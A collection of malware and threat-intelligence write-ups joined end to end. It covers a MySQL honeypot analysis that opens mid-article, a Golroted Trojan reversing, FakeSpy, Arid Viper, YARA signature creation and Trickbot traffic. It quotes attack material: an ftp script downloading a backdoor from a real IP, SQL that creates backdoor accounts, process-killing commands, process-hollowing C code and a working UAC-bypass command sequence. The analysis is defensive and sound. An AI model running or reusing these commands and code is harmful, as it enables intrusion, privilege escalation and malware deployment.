The `SELECT… INTO DUMPFILE` clause creates `cna12.dll` (other variants: `nusql.dll`, `bincna12.dll`) in the plugins directory. The function DUMPFILE is executed in two slightly changed variants. However, to be able to create a file using the following method, the user must have FILE privilege granted, and the mysqld process must have WRITE access to the designated directory (further adjustments can be required depending on MySQL version and configuration).
`CREATE FUNCTION` calls `xpdl3()` function, which downloads the target backdoor - `isetup.exe` (another variant: `asetup.exe`) and saves it in the root directory of the C:\ drive. DROP commands remove auxiliary tables and functions, hiding traces of malicious activity.
**Method 2 (for Windows)**
The next method prepares (3x DROP) environment for the next attack and places another hex-encoded UDF malicious plugin. This time the payload is much bigger than the previous one. Function DUMPFILE creates a `y.exe` on the C drive and puts another hexed payload in the 'a' variable.
The new plugin-backdoor (`amd.dll`) is placed in multiple locations and then used by `CREATE FUNCTION` to create the `amdshelv()` function, which name reveals its purpose. The bot now tries to stop the ‘sharedaccess’ Windows service, then creates a `ge.dat` script for the ftp client and runs it: `ftp -s: ge.dat`. We can see the ftp credentials `123/123` that are used. Here is a more readable form:
```
cmd.exe cmd/c net stop sharedaccess
echo open 103.206.21.89>>ge.dat
echo 123>>ge.dat
echo 123>>ge.dat
echo bin>>ge.dat
echo get c.exe
echo get c.exe>>ge.dat
echo bye>>ge.dat
ftp -s:ge.dat
del ge.dat
del y.exe
```
Two executables are called: `c.exe` and `absl.exe`, which ends the attack. I was curious about the fact that the `absl.exe` file appeared, which is probably a consequence of executing `c.exe`. I was trying to get to the ftp server to poke around – all I got was a message telling me that the limit of 421 active connections was reached. In other words, this attack is active and apparently successful.
### Method 2 (for Linux)
Following variant aims the Suse Linux distribution. In order to make an access to the system shell, the bot trying to run one of the possible legit UDF plugins, hoping it exists:
```
CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'liunx32.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'liunx64.so'
CREATE FUNCTION sys_eval returns string soname "lib_mysqludf_sys.so"
```
Similar to the previous actions, the bot downloads a malicious executable named ‘mysqld’ (other variants: `lisnu`, `ssyn`) from the same address and tries to run it after the firewall (iptables and reSuSEfirewall2) services are stopped. It does this in two ways, one after another.
### Actor #2
The following attack is more interesting. There are more steps than just trying to upload and run an executable in various ways. Many similarities may suggest that this is an improved version of Yongger, but there are exceptions. However, it is certain that the bot which making connections from that address already knew credentials - the first connection to the server was authenticated right away.
The bot immediately tries to grant all possible permissions to the root account (which we’re currently using) and creates new accounts: `server` and `mysqld`.
```
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'root'@'%' WITH GRANT OPTION
INSERT INTO mysql.user(Host,User,Password) VALUES("%","server",PASSWORD("123456*a"))
CREATE USER 'mysqld'@'%' IDENTIFIED BY '123456*a'
```
After user creation attempts, the bot enables global variables `log_bin_trust_function_creators` and (outdated) `log_bin_trust_routine_creators` in order to use the `CREATE FUNCTION` more reliably. Then updates `max_allowed_packet` variable to prepare for a bigger chunk of payload:
```
SET GLOBAL log_bin_trust_function_creators=1
SET GLOBAL log_bin_trust_function_creators=TRUE
SET GLOBAL log_bin_trust_routine_creators=1
SET max_allowed_packet=1073741824
```
Further steps look the same as before, where clause `SELECT… INTO DUMPFILE` was used.
**Other Linux activity:**
We can see here attempts of killing many processes, starting from `lz1`:
```
ps -ef | grep lz1 | grep -v grep | cut -c 9-15 | xargs kill -9
```
This is a substitute of a combination `pidof` and `pkill` commands. Then continue by killing processes: `.sshd`, `.ssh`, and `1`, `cisco`, `ciscoh`, `L24` and `L26` – preparing the ground for a new attack. There is also an interesting way of killing processes. Perhaps the same processes, but this time by their TCP ports:
```
kill str=`netstat -anept 2>/dev/null | grep -E ':(68866|7583|2222|10711|6009|10991|10771|7168|7668|36000|36001|25000|25001|25002)' | cut -d / -f 1`
```
## IOCs
**Windows PE:**
| Filename(s) | Description | MD5 |
|-----------------------------------------|-------------|-----------------------------------|
| cna12.dll / bincna12.dll | backdoor | a922d55a873d4ad0bbbbbc8147a3a65a |
| amd.dll | backdoor | f8d1e5274de567e1b98c6d3d90eb6a3f |
| nusql.dll | backdoor | 9c9a70db100822a398d9d5c4fcc82193 |
| y.exe / c.exe / 360.exe / | backdoor | c71eacf3ffaf82787a533eb452bcf3e7 |
| isetup.exe / asetup.exe | | |
**Linux ELF:**
| Filename(s) | Description | MD5 |
|-------------------------------------------|-------------|-----------------------------------|
| ymqynd32.so / lib_mysqludf_sys.so | legit UDF | e3a5eed3b2152ce6bfc5417ec001ced8 |
| ssyn | backdoor | a011ae821ae822bade7ef4f396dcc20c |
## Summary
As the analysis shows, the bots, in this case, are not particularly aggressive. They don't overload the network or force your credentials in hundreds of thousands of tries to get inside. Slowly checking popular passwords can sometimes get the desired effect.
Although I didn’t observe any activity indicating that the attacker was downloading files, databases, or attempts to encrypt a drive (ransomware), the main goal of the attack was to take control of the server (partial or complete) and establish a CNC channel.
Looking at the numbers, over 1200 times the backdoor was downloaded, or 421 active ftp connections did not allow logging in - it proves only that despite such simple tricks, the attack often succeeds.
It's certainly not a threat to well-administered databases, but we should definitely pay attention to details such as installed UDF plugins, directory owner and privileges, accounts, and their hosts - 'root'@'%' vs 'root'@'localhost', and many more.
To protect yourself from this type of attack, you will most likely need to use a custom (non-standard) administrator name and remove the root account. Using a long and complex password is an absolute requirement. It is a good practice to implement a password policy (if you’re an organization), use plugins that will take care of the password complexity level, password validity period, etc., and periodically do database security audits. |
# Let's Learn: Dissecting Golroted Trojan's Process Hollowing Technique & UAC Bypass in HKCU\Environment
**Goal:** Reverse the Golroted Trojan with a focus on its native API process hollowing technique and User Account (UAC) bypass method exploiting Environment variables in Scheduled Tasks.
**Source:** Golroted Trojan sample (e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7da487e)
## Background
The Golroted Trojan is notable due to its native call (Nt* API-based) process hollowing technique, its UAC bypass method, and anti-virus checks. It appears to be a relatively popular Trojan, masked as a ".scr" file, distributed lately as part of the spam impersonating IRS.
### Functions of Interest
- Process hollowing
- UAC bypass
- Anti-virus checks
- Persistence mechanism
- Yara signature
## I. Process Hollowing
The malware starts a process suspended with `CreateProcessA(0x4 CREATE_SUSPENDED process creation flag)`. Ultimately, the malware replaces its content with the content of another. The malware allocates memory for the process replacement via `NtAllocateVirtualMemory`. Golroted obtains the thread context of the child process' primary thread via `NtGetContextThread`, retrieves the PEB address from the ebx register, and reads the base address of the executable image from the PEB via `NtUnmapViewOfSection`. Then, the malware writes the base address of the injected image into the PEB via `NtWriteVirtualMemory` and sets the thread context of the child process' primary thread via `NtSetContextThread`, which is finally resumed via `NtResumeThread`.
The following native API calls the Golroted malware leverages for process hollowing:
- `NtGetContextThread`
- `NtReadVirtualMemory`
- `NtUnmapViewOfSection`
- `NtSetContextThread`
- `NtProtectVirtualMemory`
- `NtWriteVirtualMemory`
- `NtFlushInstructionCache`
- `NtAllocateVirtualMemory`
- `NtResumeThread`
### Simplified Process Hollowing Technique
```c
if(CreateProcessA(NULL, DESIRED_PROCESS, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
NtGetContextThread(pi.hThread, &ctx);
NtReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &base, sizeof(PVOID), NULL);
if((DWORD)base == pINH->OptionalHeader.ImageBase) {
NtUnmapViewOfSection(pi.hProcess, base);
}
mem = VirtualAllocEx(pi.hProcess, (PVOID)pINH->OptionalHeader.ImageBase, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, mem, image, pINH->OptionalHeader.SizeOfHeaders, NULL);
for(i = 0; i < pINH->FileHeader.NumberOfSections; i++) {
pISH = (PIMAGE_SECTION_HEADER)((LPBYTE)image + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
NtWriteVirtualMemory(pi.hProcess, (PVOID)((LPBYTE)mem + pISH->VirtualAddress), (PVOID)((LPBYTE)image + pISH->PointerToRawData), pISH->SizeOfRawData, NULL);
}
ctx.Eax = (DWORD)((LPBYTE)mem + pINH->OptionalHeader.AddressOfEntryPoint);
NtWriteVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &pINH->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
NtSetContextThread(pi.hThread, &ctx);
NtResumeThread(pi.hThread, NULL);
NtClose(pi.hThread);
NtClose(pi.hProcess);
}
```
### A. “Self Injection”
The malware retrieves the path to itself via `GetModuleFilenameA` call and passes itself as an argument to the process hollowing function.
### B. “Default Browser”
Golroted obtains the following browser locations in `C:\\Program Files (x86)\\` or `%PROGRAMFILES%` and passes the output as an argument to the process hollowing function:
- `Mozilla Firefox\\firefox.exe`
- `\Google\Chrome\Application\chrome.exe`
- `Internet Explorer\\iexplore.exe`
### C. “Notepad”
The malware retrieves the path to `notepad.exe` in `C:\Windows\SysWOW64\` and `C:\Windows\system32\` and passes itself as an argument to the process hollowing function.
## II. UAC Bypass
Golroted checks if the victim host has administrator privileges via `IsUserAnAdmin` API call. If not admin, the malware executes the "fileless" UAC bypass method that exploits Environment variables in Scheduled Tasks. This method is almost identical to the UAC bypass tweeted out in May 2017 by James Forshaw.
```bash
set a=hkcu\Environment /v windir /
reg add %a%d "cmd /K reg delete %a%f||"
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
```
### UAC Code Function
```c
uac_bypass(v10, 3, " \" /f && exit", v37, "/c reg add hkcu\\Environment /v windir /d \"cmd /c start ", v20, v21, v22);
create_process_fuc("C:\\Windows\\System32\\cmd.exe", v32);
Sleep(2000);
create_process_fuc("C:\\Windows\\System32\\cmd.exe", "/c schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I && exit");
Sleep(1000);
create_process_fuc("C:\\Windows\\System32\\cmd.exe", "/c reg delete hkcu\\Environment /v windir /f && exit");
kernel32_wow64_func(0);
ExitProcess_0(0);
```
## III. Anti-virus Checks
### A. Bitdefender
Golroted checks for the following Bitdefender location:
- `C:\Program Files\Bitdefender`
### B. Kaspersky Anti-Virus
The malware checks for the following Kaspersky AV locations and processes:
- `Kaspersky Lab\Kaspersky Anti-Virus`
- `.0.0\avpui.exe`
- `C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus`
- `Kaspersky Lab\Kaspersky Internet Security`
- `C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security`
If the malware finds Kaspersky AV, it shuts down the machine.
### C++ Code Example
```c
if (v4) {
yourself_func2(0, &v47);
func30(v47, (int *)&v48);
v5 = v48;
func30(v50, (int *)&v46);
if (!func16(v46, v5) && v50) {
ShellExecuteA(0, "open", "cmd.exe", "/C shutdown -f -r -t 0", &dword_417AB4, 0);
}
func2((int)"PROGRAMFILES", (int *)&v45);
func11(&v49, v45, (signed __int32)"Kaspersky Lab\\Kaspersky Anti-Virus ");
v7 = 13;
do {
v8 = v49;
func31(v6, &v44, v7);
func23(v9, 3, ".0.0\\avpui.exe", v44, v8, v31, v32, v33);
if ((unsigned __int8)findfile_local(v31, v32, v33, v34)) {
v10 = v49;
func31(v6, &v43, v7);
func23(v11, 3, ".0.0\\avpui.exe", v43, v10, v31, v32, v33);
goto LABEL_22;
}
++v7;
} while (v7 != 27);
}
```
## IV. Persistence Mechanism
Golroted creates persistence as `.lnk` in `[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\`.
### C++ Code Example
```c
temp_func(&v92, v19);
func4(v20, v92);
v69 = v93;
func4(v21, v103);
v68 = v91;
func_string(v22, 3, L".lnk");
v23 = (const char *)func5(v68);
Mycomput_dll_func(*a6, v23, a12, a4, (unsigned int)v12);
temp_func(&v89, v24);
v25 = v103;
GetUserName_func(&v88, v26);
func23(v27, 8, ".lnk\"", v103, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", v88, ".lnk\" \"C:\\Users\\", v25);
v28 = func19(v90);
ShellExecuteA(0, "open", "cmd.exe", v28, v68, v69);
```
## V. Delete Zone.Identifier Flag
The malware deletes the zone identifier flag via `DeleteFileA` API to avoid being flagged by Explorer and prevent possible alert boxes when launching the executable.
## VI. Miscellaneous
Golroted also has various debug information that was presumably used for internal testing including “Notepad” process hollowing and the following presumably placeholders:
- `binderfolderxD`
- `bindermode`
- `binderextension`
- `randomfolderxD`
The observed mutex was as follows: `UfeRKBdMoE`.
## Yara Signature
```yara
rule crime_win32_golrote_trojan {
meta:
description = "Golroted Trojan rule - file golroted.exe"
author = "@VK_Intel"
reference = "Detects Golroted Trojan"
date = "2017-11-11"
hash = "e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7da487e"
strings:
$s0 = "C:\\Windows\\System32\\Mycomput.dll" fullword ascii
$s1 = ".lnk\" \"C:\\Users\\" fullword ascii
$s2 = "vbc.exe" fullword ascii
$s3 = "System32\\WerFault.exe" fullword ascii
$s4 = "system32\\notepad.exe" fullword ascii
$s5 = "Mozilla Firefox\\firefox.exe" fullword ascii
$s6 = "FC:\\Windows\\System32\\" fullword ascii
$s7 = "C:\\Windows\\SysWOW64\\ntdll.dll" fullword ascii
$s9 = "Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe" fullword ascii
$s10 = "Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe" fullword ascii
$s11 = "/c reg add hkcu\\Environment /v windir /d \"cmd /c start " fullword ascii
$s12 = "bindedfiledropandexecute" fullword ascii
$s13 = "/c schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I && exit" fullword ascii
$s14 = "Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" fullword ascii
$s15 = "Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe" fullword ascii
$s16 = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Internet Security " fullword ascii
$s17 = "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and all of them
}
``` |
# FakeSpy Targets Japanese and Korean-Speaking Users
Spoofing legitimate mobile applications is a common cybercriminal modus that banks on their popularity and relies on their users’ trust to steal information or deliver payloads. Cybercriminals typically use third-party app marketplaces to distribute their malicious apps, but in operations such as the ones that distributed CPUMINER, BankBot, and MilkyDoor, they would try to get their apps published on Google Play or App Store. We’ve also seen others take a more subtle approach that involves SmiShing to direct potential victims to malicious pages.
Case in point: a campaign we recently observed that uses SMS as an entry point to deliver an information stealer we called FakeSpy (Trend Micro detects this threat ANDROIDOS_FAKESPY.HRX). FakeSpy is capable of stealing text messages, as well as account information, contacts, and call records stored in the infected device. FakeSpy can also serve as a vector for a banking trojan (ANDROIDOS_LOADGFISH.HRX). While the malware is currently limited to infecting Japanese and Korean-speaking users, we won't be surprised if it expands its reach given the way FakeSpy’s authors actively fine-tune the malware’s configurations.
## Attack Chain
Would-be victims will first receive a mobile text message masquerading as a legitimate message from a Japanese logistics and transportation company urging recipients to click the link in the SMS. The link will redirect them to the malicious webpage, and clicking any button will prompt users to download an Android application package (APK). The webpage also has a guide, written in Japanese, on how to download and install the app.
Further analysis indicates that this campaign also targets South Korean users and has been active since October 2017. To Korean users, the information-stealing malware appears as an app for several local consumer financial services companies. When targeting Japanese users, it poses as apps for transportation, logistics, courier, and e-commerce companies, a mobile telecommunications service, and a clothing retailer.
## Technical Analysis
FakeSpy’s configurations, such as the command-and-control (C&C) server, are encrypted to evade detection. Once launched, FakeSpy will start monitoring for text messages that the affected device receives. These SMS messages are stolen and uploaded to the C&C server. To send commands via JavaScript, FakeSpy also abuses JavaScript bridge (JavaScriptInterface) to invoke the app’s internal functions by downloading then running JavaScript from a remote website. FakeSpy’s commands include adding contacts to the device, setting it to mute, resetting the device, stealing stored SMS messages and device information, and updating its own configurations.
## FakeSpy as a Vector for a Banking Trojan
Apart from information theft, FakeSpy can also check for banking-related applications installed in the device. If they match FakeSpy’s apps of interest, they are replaced with counterfeit/repackaged versions that imitate the user interfaces (UI) of their legitimate counterparts. It phishes for the users’ accounts by ironically notifying users that they need to key in their credentials due to upgrades made on the app to address information leaks. It also warns users that their account will be locked. The stolen information is sent to the C&C server once the users click on the login button. Besides online banking apps, it also checks for apps used for digital currencies trading and e-commerce.
## Evading Detection
FakeSpy’s author uses different approaches to hide and update the C&C servers. It abuses social media by writing the IP address on a Twitter profile whose handles are regularly modified. The IP address starts with ^^ and ends with $$. When FakeSpy launches, it will access the Twitter page and parse its contents to retrieve the C&C IP address. FakeSpy’s author also abuses forums and open-source dynamic domain tools in a similar manner. To further evade detection, the C&C server address configured into the apps are updated at least once per day. It’s also worth noting that the cybercriminals behind FakeSpy are active, at least based on their activities on forums and the related URLs they register to host their malware.
## Best Practices
SMiShing is not a novel attack vector, but with social engineering, it can lure or compel victims into handing out personal or corporate data, or direct them to malware-hosting websites. Users should practice good security hygiene: think before clicking, download only from official app stores, and regularly update credentials and the device’s OSs and apps. Check for telltale signs of phishing, such as grammar errors or certain characters used to spoof a legitimate URL, and more importantly, beware of unsolicited messages that seem to give a sense of unwanted urgency.
We’ve coordinated with the affected organizations about this threat. A list of indicators of compromise (IoCs) related to FakeSpy is in this appendix.
## Trend Micro Solutions
Trend Micro™ Mobile Security for Android™ (also available on Google Play) blocks malicious apps that may exploit this vulnerability. End users and enterprises can also benefit from its multilayered security capabilities that secure the device’s data and privacy, and safeguard them from ransomware, fraudulent websites, and identity theft.
For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies. It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
FakeSpy can steal text messages, account information, contacts, and call records stored in the infected device. While the malware is currently limited to infecting Japanese and Korean-speaking users, we won't be surprised if it expands its reach. |
# Arid Viper – Israel Entities Targeted by Malware Packaged with Sex Video
**February 19, 2015**
By Pierluigi Paganini
Attackers behind the Arid Viper and the Yanbian Gang exploited sex content for their campaigns against victims in Israel, Kuwait, and South Korea. Security experts at Trend Micro have uncovered a cyber espionage campaign, dubbed Operation Arid Viper, that targeted Israeli institutions. The operation is run by Arab-speaking hackers who sought to extract sensitive documents by sending phishing emails. The phishing campaigns targeted government offices, infrastructure providers, military organizations, and academic institutions in Israel and Kuwait.
The particularity of Operation Arid Viper is represented by the tactic adopted by the attackers to lure victims. The malicious emails sent by hackers include malware packaged with a short pornographic video.
“This month, actors of Operation Arid Viper and members of the Yanbian Gang jumped on the sexually explicit content bandwagon, using them in separate attacks that target respective victims in Israel, Kuwait, and South Korea. Operation Arid Viper attacked five Israeli-based organizations in the government, transport, infrastructure, military, and academic industries, and one organization in Kuwait using spear-phishing emails that dropped a pornographic video on a victim’s computer,” reported Trend Micro in a blog post.
The attackers exploit the fact that targeted individuals might be receiving pornographic videos at work and would hesitate to report the incident, allowing the malware to remain undetected. “These victims’ failure to act on the threat could have then allowed the main malware to remain undiscovered,” states Trend Micro. “It targeted professionals who might be receiving very inappropriate content at work and so would hesitate to report the incident.”
The malware used by Arid Viper, once it infected the victims’ PCs, searched for Microsoft Office files and text files. It reported the located files to the command and control server, which then decided which files to exfiltrate from the machine. Unfortunately, researchers at Trend Micro reported that the command and control servers used by Arid Viper were “closely locked down, providing very little hint that could aid our investigation.”
The researchers have found a few similarities between the Arid Viper campaign and the Advtravel campaign, including the control infrastructure and the attack kill chain. The infection chains for both Operation Arid Viper and Advtravel started with spear-phishing emails that came with a .RAR file attachment that automatically extracts an .SCR file that drops two files when executed.
The Advtravel campaign infected more than 500 systems, the majority of them located in Egypt. The hackers were focused on grabbing screen images from victims’ computers in an attempt to identify victims. However, the experts at Trend Micro consider the operators behind the Advtravel campaign to be much less skilled than Arid Viper. “This could be a sign that they are looking for incriminating or compromising images for blackmail purposes,” Trend Micro reports. “As such, the attackers may be less-skilled hackers who are not after financial gain nor hacking for espionage purposes.”
“The first file is a pornographic video clip, which serves as social engineering bait while the second file is the actual malware connecting to the C&C servers. Once the second-stage malware is in the system, it sets itself to autorun each time the system reboots, even posing as Internet communication software.”
The researchers are spending great effort investigating the Arid Viper gang, particularly on the way they organized the command and control infrastructure. They suspect a link with possible threat actors in the Gaza Strip and suggest the existence of a supra-organization behind both campaigns despite their different complexity of TTPs.
“Although the malware involved in Operation Advtravel is different from that of Operation Arid Viper, both operations still have a few similarities, such as sharing the same server and having the domains used in Advtravel registered with the same emails as Operation Arid Viper. Notably, the same server and site registration details suggest the existence of a supra-organization, a forum, or an influential sponsor could be providing various hacking groups with the means to pursue their ends.”
Let me suggest you read the report from Trend Micro titled “OPERATION ARID VIPER – Bypassing the Iron Dome.” |
# Turning Open Source Against Malware
**Written by Paul Litvak - 3 September 2020**
## Introduction
Offensive Security Tools are any kind of functionality meant to facilitate intrusions and security bypasses in order to achieve the former. Generally, we can divide them into three categories:
1. Close Source Tools: The most infamous example is CobaltStrike.
2. Open Source “as is” Standalone Tools: Metasploit, Mimikatz, and various RAT/C2 frameworks are some examples.
3. Open Source Libraries: Examples include some memory injection libraries and other offensive libraries which must be incorporated in a tool in order to be useful.
Unsophisticated actors adopt OSTs to fill in R&D resources which they don’t possess, while advanced actors, including government-backed ones, incorporate OSTs so they can spend their resources elsewhere in advancing operations or upgrading infrastructure, for example.
We analyzed thousands of threat actor reports from security companies dating back to 2015, checking for their references to open source OST projects. What we found is the number of references to open source OST projects is steadily on the rise, which indicates their increasing usage.
What is special about OST libraries is they can’t operate independently and must be included as part of a bigger tool. These embedded libraries are rarely documented by security companies due to the difficulty it takes to identify them, as they are only part of a malicious file and usually stripped of strings.
The ability to detect files that use offensive libraries can enhance threat hunting capabilities as very few legitimate programs will include such functionalities. In this article, we will present a tutorial on how you can create code-based YARA signatures to find malware using OST libraries. This article is a part of a larger investigation into the effects of free publication of OSTs. The full research will be presented at VirusBulletin.
## Malware Adopting Open Source
Malware developers aren’t much different from normal programmers in that they both want to do their job in the easiest way possible. For some tasks, the most efficient solution is to simply copy and paste code from the Internet. If malware developers take this shortcut when developing their tools, we as defenders should take advantage of it.
During our investigation, we identified which open source OST libraries threat actors most often copy and paste into their toolsets. One conclusion we drew is that many actors outsource memory injection logic into a small subset of open source libraries.
As an example, using only string reuse, we can observe that Lazarus, Winnti, Trickbot, Ramsay, and DarkHotel all have used the ImprovedReflectiveDllInjection library.
We can confirm this by searching for the strings on Github and finding the specific code they used. Creating YARA signatures from OST library strings can yield some successful threat detections; however, attackers can easily remove those strings. We have witnessed firsthand these malware families removing such strings once they have recognized their mistake, and we are aware of multiple other threat actors using this library without the accompanying strings.
Therefore, we must find a different method to create signatures to detect the use of these libraries.
## Code-based Signatures
The premise of code reuse signatures is to create YARA rules based on repeating binary patterns. These binary patterns are normalized code instructions. Normalized as in they must be readjusted to account for inconsistencies between different compilation outputs (e.g., different registers being used or varying immediate values). Each compiler has different compilation optimization rules, and even the slightest difference can result in signatures becoming essentially ineffective.
To demonstrate how you can create a code-based YARA signature, let’s look at the MemoryModule library as an example. We uploaded a batch of precompiled MemoryModule binaries to Mega.nz so you can follow along.
We compile the library and search for assembly code that looks unique to our library (we also generate a PDB file so that we can easily track the code). We chose the following blocks in the MemoryLoadLibraryEx function:
It’s also possible to do this the opposite way. First, choose the source code which seems unique and then only track the related assembly. It really depends on what is most comfortable for you.
It’s important to compile the library via several compiler versions in order to ensure the binary patterns we are signing don’t change drastically. You can find here an open source script we made available for this task. Generally, choosing small blocks with simple instructions like the ones we selected is recommended since there is less room for changes to be made through different compiler versions.
After browsing through these libraries to make certain that our code remains the same between different compiler versions, we can start building our binary YARA signature.
For the sake of brevity, we rearranged the function so only the code we’re interested in appears on screen. Using an Intel Instruction Set reference sheet, turn the first block into a binary pattern:
```
B8 4D 5A 00 00 => mov reg, imm32 => B? 4D 5A 00 00
66 39 01 => cmp [reg], reg => 66 39 ??
```
For example, `mov reg, imm32` is encoded as `B8+ rd` in the mov command. This means the second byte has possible values 8-0xf, so let’s put a question mark over it. We avoid signing the `jz` instruction because it can turn to `jnz` on another compiler’s whim. For this reason, familiarity with compiler behavior is useful and can be attained by reviewing multiple versions of the same code through binaries created for different library versions.
Moving on to the second block, let’s turn only its beginning sequence into a binary pattern:
```
B9 C1 00 00 00 => mov ecx, 0C1h => B9 C1 00 00 00
FF 15 DE 2B 00 00 => call cs:offset => FF 15 ?? ?? ?? ??
33 C0 => xor eax, eax => 33 C0
```
We don’t normalize `mov ecx, 0C1h` because it isn’t part of the function’s logic (it’s used to handle the stack frame, aka ‘the function’s infrastructure’) and as you can see below it sometimes doesn’t trail our “real” logic.
Next, let’s combine the two functions into a YARA rule and add a condition for the blocks to be close to each other. We chose a distance of 0x800 bytes after reviewing the same code in newer compilers, where the blocks end up on opposite sides of the same function due to new optimizations.
```yara
rule MemoryModule_x64 {
strings:
// First block:
$s1 = {
B? 4D 5A 00 00 // mov <reg>, 0x00004D5A
66 39 // cmp <reg>, <reg>
}
// Second block:
$s2 = {
B9 C1 00 00 00 // mov ecx, 0x000000C1
FF 15 ?? ?? ?? ?? // call cs:[mem]
33 C0 48 // xor eax, eax
}
condition:
$s1 and $s2 in (@s1..@s1+0x800) and $s3 in (@s1..@s1+0x50) and positives > 0
}
```
Finally, we’ll test the validity of our new rule. Let’s make sure we don’t miss any MemoryModule binaries (no false negatives). Before deploying the signature, we test it on VirusTotal. In this case, we had to add a block to the signature (we chose the one to the right from the initial figure) to reduce false positives, as we found the 0x800 distance made the signature too generic and returned hits on programs that didn’t use MemoryModule.
The final signature looks like this:
```yara
rule MemoryModule_x64 {
strings:
// First block:
$s1 = {
B? 4D 5A 00 00 // mov <reg>, 0x00004D5A
66 39 // cmp <reg>, <reg>
}
// Second block:
$s2 = {
B9 C1 00 00 00 // mov ecx, 0x000000C1
FF 15 ?? ?? ?? ?? // call cs:[mem]
33 C0 48 // xor eax, eax
}
// Third block:
$s3 = {
48 63 ?? ?? // movsxd <reg>, dword ptr [reg+0x3C]
48 8D ?? 08 01 00 00 // lea <reg>, [reg+0x108]
4? ?? ?? // cmp <reg>, <reg>
}
condition:
$s1 and $s2 in (@s1..@s1+0x800) and $s3 in (@s1..@s1+0x50) and positives > 0
}
```
## Conclusion
Malware developers often incorporate open source libraries in order to cut costs and preserve their research and development resources for other activities. In this article, we presented how you can create signatures to target malware that outsource their offensive capabilities to these libraries. We demonstrated why signatures based on strings can be easily broken when hunting for these projects and how you can create more advanced code-based signatures to catch malware that incorporate OST libraries.
We hope this post was productive for you and wish you happy hunting! |
# QUICK TEST DRIVE OF TRICKBOT (IT NOW HAS A MONERO MODULE)
## ASSOCIATED FILES:
- Zip archive of the pcaps: 2018-02-01-Trickbot-infection-traffic.pcap.zip (9.5 MB, 9,472,261 bytes)
- Zip archive of the malware: 2018-02-01-Trickbot-malware-samples.zip (542 kB, 541,817 bytes)
## INTRODUCTION
I infected a Windows host with the Trickbot malware from 2018-02-01 mentioned in this blog post from My Online Security. I extracted the Trickbot binary located in a pcap from the Any.run analysis of the associated malicious Word document. The chain of events led from the email to a link to a Word document, enabling the Word document macro, which then downloaded Smoke Loader and Trickbot.
I wanted to see what the Trickbot binary was doing, since I haven't looked at it in a while. This blog post only reviews traffic and artifacts from a Windows host infected with the Trickbot binary, SHA256 hash 91f78068e996b1b32a3539746b6b683f5fa40e7be009b779c56e215b521df6c5.
## TRICKBOT TRAFFIC
Trickbot network traffic in February 2018 is similar to what I described in this ISC diary I wrote in August 2017. The only difference is a Monero cryptocurrency miner (coin miner) in post-infection traffic in February 2018, which I hadn't noticed before.
Trickbot SSL traffic is somewhat similar to what we've seen with Dridex SSL traffic in recent weeks. Today's Trickbot traffic triggered Emerging Threats alerts for ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificates detected (Dridex CnC), which I've seen with Trickbot traffic before. More importantly, rules from the Snort subscriber's ruleset detected Trickbot SSL certificates, which better fits what I saw on 2018-02-01.
## FORENSICS ON THE INFECTED WINDOWS HOST
My Trickbot binary was named 2018-02-01-Trickbot-malware-sample.exe, and I ran it from the user's AppData\Local\Temp directory. As we saw with Trickbot back in August 2017, the malware copied itself to a new folder in the user's AppData\Roaming directory. Today's file was re-named, with some (but not all) of the characters in the file name shifted one character. Like we saw back in August 2017, there's a file named group_tag. This time, it contained the text: 3101uk. Below are images showing some of the artifacts.
## FINAL WORDS
Looks like Trickbot has changed a bit since I last examined it. Traffic and artifacts are familiar, but Trickbot has apparently jumped on the cryptocurrency bandwagon by adding a Monero (XMRig) coin mining module. I imagine someone will do a more in-depth write-up on the new Trickbot, but I wanted to get some traffic and malware samples out.
Once again, here are the associated files:
- Zip archive of the pcaps: 2018-02-01-Trickbot-infection-traffic.pcap.zip (9.5 MB, 9,472,261 bytes)
